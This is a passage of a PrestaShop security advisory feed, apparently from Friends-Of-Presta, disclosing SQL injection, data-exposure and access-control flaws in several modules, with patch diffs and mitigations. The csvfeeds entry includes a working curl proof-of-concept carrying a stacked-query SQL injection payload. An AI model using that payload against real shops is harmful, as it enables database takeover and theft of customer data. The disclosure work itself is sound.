  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44025">CVE-2023-44025</a></li>
  <li><strong>Published at</strong>: 2023-10-31</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: addifyfreegifts</li>
  <li><strong>Impacted release</strong>: &lt;= 1.0.2 (1.2.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Addify</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: high (8.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method AddifyfreegiftsModel::getrulebyid() has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-102">Patch from 1.0.2</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.0.2/modules/addifyfreegifts/controllers/front/addtocart.php
</span><span class="gi">+++ XXXXX/modules/addifyfreegifts/controllers/front/addtocart.php
</span><span class="err">...</span>
- $this-&gt;context-&gt;cookie-&gt;__set('Rule_Ids_manual', $id_rule);
<span class="gi">+ $this-&gt;context-&gt;cookie-&gt;__set('Rule_Ids_manual', (int) $id_rule);
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.0.2/modules/addifyfreegifts/classes/AddifyfreegiftsModel.php
</span><span class="gi">+++ XXXXX/modules/addifyfreegifts/classes/AddifyfreegiftsModel.php
</span><span class="err">...</span>
    public static function getrulebyid($rule_id, $check_group_id, $today)
    {
        $result = Db::getInstance()-&gt;executeS('
            SELECT *
<span class="gd">-           FROM `'._DB_PREFIX_.'addifyfreegifts`WHERE rule_active = 1 AND id = '.$rule_id);
</span><span class="gi">+           FROM `'._DB_PREFIX_.'addifyfreegifts`WHERE rule_active = 1 AND id = '. (int) $rule_id);
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>addifyfreegifts</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-03</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-03</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-08-03</td>
      <td>PrestaShop Addons security Team confirm version scope</td>
    </tr>
    <tr>
      <td>2023-09-18</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-09-22</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-28</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-31</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addify.store/product/prestashop-free-gifts-module/">Author product page</a></li>
  <li><a href="https://addons.prestashop.com/en/promotions-gifts/52140-free-gifts-buy-x-get-y-bogo-and-more.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-44025">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Free Gifts” (addifyfreegifts) up to version 1.0.2 from Addify for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-46352] Exposure of Private Personal Information to an Unauthorized Actor in Smart Modules - Pixel Plus: Events + CAPI + Pixel Catalog for Facebook module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/31/facebookconversiontrackingplus.html" rel="alternate" type="text/html" title="[CVE-2023-46352] Exposure of Private Personal Information to an Unauthorized Actor in Smart Modules - Pixel Plus: Events + CAPI + Pixel Catalog for Facebook module for PrestaShop" /><published>2023-10-31T00:00:00+00:00</published><updated>2023-10-31T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/31/facebookconversiontrackingplus</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/31/facebookconversiontrackingplus.html"><![CDATA[<p>In the module “Pixel Plus: Events + CAPI + Pixel Catalog for Facebook” (facebookconversiontrackingplus) up to version 2.4.8 from Smart Modules for PrestaShop, a guest can download personal information without restriction.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46352">CVE-2023-46352</a></li>
  <li><strong>Published at</strong>: 2023-10-31</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: facebookconversiontrackingplus</li>
  <li><strong>Impacted release</strong>: &lt;= 2.4.8 (2.4.9 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Smart Modules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control, a guest can access exports from the module which can lead to leak of personal information from ps_customer table such as name / surname / email</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-24</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-24</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-10</td>
      <td>PrestaShop Addons security Team confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-10-17</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-31</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>facebookconversiontrackingplus</strong>.</li>
  <li>You should restrict access to this URI pattern : modules/facebookconversiontrackingplus/csv/ to a given whitelist</li>
  <li>You should restrict access to .csv file to a given whitelist</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/analytics-statistics/18739-pixel-plus-events-capi-pixel-catalog-for-facebook.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46352">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Pixel Plus: Events + CAPI + Pixel Catalog for Facebook” (facebookconversiontrackingplus) up to version 2.4.8 from Smart Modules for PrestaShop, a guest can download personal information without restriction.]]></summary></entry><entry><title type="html">[CVE-2023-46356] Improper neutralization of SQL parameter in Bl Modules - CSV Feeds PRO module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/26/csvfeeds-89.html" rel="alternate" type="text/html" title="[CVE-2023-46356] Improper neutralization of SQL parameter in Bl Modules - CSV Feeds PRO module for PrestaShop" /><published>2023-10-26T00:00:00+00:00</published><updated>2023-10-26T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/26/csvfeeds-89</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/26/csvfeeds-89.html"><![CDATA[<p>In the module “CSV Feeds PRO” (csvfeeds) up to version 2.5.2 from Bl Modules for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46356">CVE-2023-46356</a></li>
  <li><strong>Published at</strong>: 2023-10-26</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: csvfeeds</li>
  <li><strong>Impacted release</strong>: &lt;= 2.5.2 (2.6.1 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Bl Modules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">SearchApiCsv::getProducts()</code> has sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>WARNING : this module is not yet attacked but be warned that <a href="https://github.com/friends-of-presta/security-advisories/blob/main/_posts/2023-08-29-xmlfeeds.md">another module of the same author</a> with exactly the same critical issue is currently actively targeted, so patch quickly.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'https://preprod.X/modules/csvfeeds/search.php?s=1&amp;s_p=1);select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span>
</code></pre></div></div>

<h2 id="patch-from-252">Patch from 2.5.2</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.5.2/modules/csvfeeds/search.php
</span><span class="gi">+++ XXXXX/modules/csvfeeds/search.php
</span><span class="err">$moduleImgPath</span> = '../modules/csvfeeds/views/img/';

        if (!empty($selected_products) &amp;&amp; $selected_products != 'undefined') {
<span class="gd">-           $where_selected = ' AND l.id_product NOT IN ('.$selected_products.')';
</span><span class="gi">+           $where_selected = ' AND l.id_product NOT IN ('.implode(',', array_map('intval', explode(',', $selected_products))).')';
</span>        }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>csvfeeds</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-27</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-27</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-08-29</td>
      <td>PrestaShop Addons security Team confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-09-18</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-10-17</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-26</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/import-export-de-donnees/47855-csv-feeds-pro.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46356">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “CSV Feeds PRO” (csvfeeds) up to version 2.5.2 from Bl Modules for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-45378] Improper neutralization of SQL parameter in HDclic - PrestaBlog module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/26/prestablog.html" rel="alternate" type="text/html" title="[CVE-2023-45378] Improper neutralization of SQL parameter in HDclic - PrestaBlog module for PrestaShop" /><published>2023-10-26T00:00:00+00:00</published><updated>2023-10-26T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/26/prestablog</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/26/prestablog.html"><![CDATA[<p>In the module “PrestaBlog” (prestablog) up to version 4.4.7 from HDclic for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45378">CVE-2023-45378</a></li>
  <li><strong>Published at</strong>: 2023-10-26</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: prestablog</li>
  <li><strong>Impacted release</strong>: &lt;= 4.4.7  (considered to be “truly” fixed on 4.4.8 - see note below)</li>
  <li><strong>Product author</strong>: HDclic</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The script ajax slider_positions.php has a sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Note : The author has deleted from its module the files that have been suffering from critical vulnerabilities for months, BUT did not set them to be “auto-deleted” during upgrades. Therefore, there are likely merchants out there with older versions who have updated their modules, thinking they are safe. However, there is nothing safe about this, since past upgrades did not auto-delete the implicated files. To ensure everyone has a “safe version”, we decided to mark all versions up to 4.4.7 as impacted by this issue.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-443">Patch from 4.4.3</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.4.3/modules/prestablog/slider_position.php
</span><span class="gi">+++ 4.4.8/modules/prestablog/slider_position.php
</span>    foreach ($slides as $position =&gt; $id_slide) {
        $res = Db::getInstance()-&gt;execute(
        '
      UPDATE `'._DB_PREFIX_.'prestablog_slide_lang` SET `position` = '.(int)$position.'
<span class="gd">-     WHERE `id_slide` = '.(int)$id_slide.' AND `id_lang` = '.Tools::getValue('languesup')
</span><span class="gi">+     WHERE `id_slide` = '.(int)$id_slide.' AND `id_lang` = '.(int) Tools::getValue('languesup')
</span>    );
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>prestablog</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-08</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2022-09-08</td>
      <td>Creabilis contact author to fix the vulnerability</td>
    </tr>
    <tr>
      <td>2022-09-09</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-25</td>
      <td>PrestaShop Addons security Team confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-26</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/blog-forum-actualites/4731-prestablog-un-blog-professionnel-pour-votre-boutique.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45378">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;Creabilis.com&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “PrestaBlog” (prestablog) up to version 4.4.7 from HDclic for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-45899] Improper Access Control in the superuser module edited by idnovate for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/26/superuser.html" rel="alternate" type="text/html" title="[CVE-2023-45899] Improper Access Control in the superuser module edited by idnovate for PrestaShop" /><published>2023-10-26T00:00:00+00:00</published><updated>2023-10-26T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/26/superuser</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/26/superuser.html"><![CDATA[<p>The module “idnovate” for PrestaShop incorrectly restricts access to the “connect as” feature from &gt;= 2.3.5 and &lt; 2.4.2 lets an attacker connect as any customer account. Release 2.4.2 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45899">CVE-2023-45899</a></li>
  <li><strong>Published at</strong>: 2023-10-26</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: superuser</li>
  <li><strong>Impacted release</strong>: &gt;= 2.3.5 and &lt; 2.4.2 (2.4.2 fixed issue)</li>
  <li><strong>Product author</strong>: idnovate</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/305.html">CWE-305</a> <a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>Before 2.4.2, an incorrect restriction of authentication <code class="language-plaintext highlighter-rouge">SuperUserSetuserModuleFrontController:init()</code> could be executed with a trivial http call and exploited to be connected as a customer.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Personal data leaks</li>
  <li>Obtain customer access and potentially registered payment methods (if save credit cards enabled on a payment module)</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.4.1/modules/superuser/controllers/front/setuser.php
</span><span class="gi">+++ 2.4.2/modules/superuser/controllers/front/setuser.php
</span><span class="p">@@ -31,16 +31,23 @@</span> class SuperUserSetuserModuleFrontControl
                 case 'getPw':
                     if (Tools::getValue('id')) {
                         $customer = new Customer((int)Tools::getValue('id'));
<span class="gi">+                        $superuser_shop = $customer-&gt;id_shop;
+                        if (!$this-&gt;isBoLogged($superuser_shop)) {
+                            die('[SUPERUSER]Not BO logged.');
+                        }
+                        if (Shop::isFeatureActive()) {
+                            $superuser_shop = Tools::getValue('shop');
+                        }
</span>                         $params = array(
                             'id_customer' =&gt; $customer-&gt;id,
                             'secure_key' =&gt; $customer-&gt;passwd,
<span class="gd">-                            'superuser_shop' =&gt; $customer-&gt;id_shop,
</span><span class="gi">+                            'superuser_shop' =&gt; $superuser_shop,
</span>                             'use_last_cart' =&gt; '1',
                             'superuser_token' =&gt; Tools::encrypt($customer-&gt;id.$customer-&gt;passwd),
                             'time' =&gt; date('dmYhis')
                         );
                         $link = new Link();
<span class="gd">-                        $controller_superuser = version_compare(_PS_VERSION_, '1.5', '&lt;') ? (Configuration::get('PS_SSL_ENABLED') ? 'https://' : 'http://').$_SERVER['HTTP_HOST'].__PS_BASE_URI__.'modules/superuser/setuser.php?'.http_build_query($params) : $this-&gt;context-&gt;link-&gt;getModuleLink('superuser', 'setuser', $params, true, null, $customer-&gt;id_shop);
</span><span class="gi">+                        $controller_superuser = version_compare(_PS_VERSION_, '1.5', '&lt;') ? (Configuration::get('PS_SSL_ENABLED') ? 'https://' : 'http://').$_SERVER['HTTP_HOST'].__PS_BASE_URI__.'modules/superuser/setuser.php?'.http_build_query($params) : $this-&gt;context-&gt;link-&gt;getModuleLink('superuser', 'setuser', $params, true, null, $superuser_shop);
</span>                         die($controller_superuser);
                     }
                     break;
<span class="p">@@ -63,6 +70,10 @@</span> class SuperUserSetuserModuleFrontControl
             $id_customer = $order-&gt;id_customer;
         }
         $customer = new Customer((int)$id_customer);
<span class="gi">+        $superuser_shop = new Shop((int)$customer-&gt;id_shop);
+        if (!$this-&gt;isBoLogged($superuser_shop)) {
+            Tools::redirect(_PS_BASE_URL_.__PS_BASE_URI__);
+        }
</span>         $customer_secure_key = $customer-&gt;passwd;
         if (Tools::getValue('superuser_shop')) {
             $shop = new Shop((int)Tools::getValue('superuser_shop'));
</code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>superuser</strong>.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-10-11</td>
      <td>Vulnerability found during a audit by <a href="https://www.202-ecommerce.com/">202 ecommerce</a></td>
    </tr>
    <tr>
      <td>2023-10-12</td>
      <td>The author confirms the vulnerability</td>
    </tr>
    <tr>
      <td>2023-10-13</td>
      <td>The author publishes the release 2.4.2</td>
    </tr>
    <tr>
      <td>2023-10-09</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-25</td>
      <td>Publication of this advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/customer-service/7280-super-user-log-in-as-customer.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45899">National Vulnerability Database</a></li>
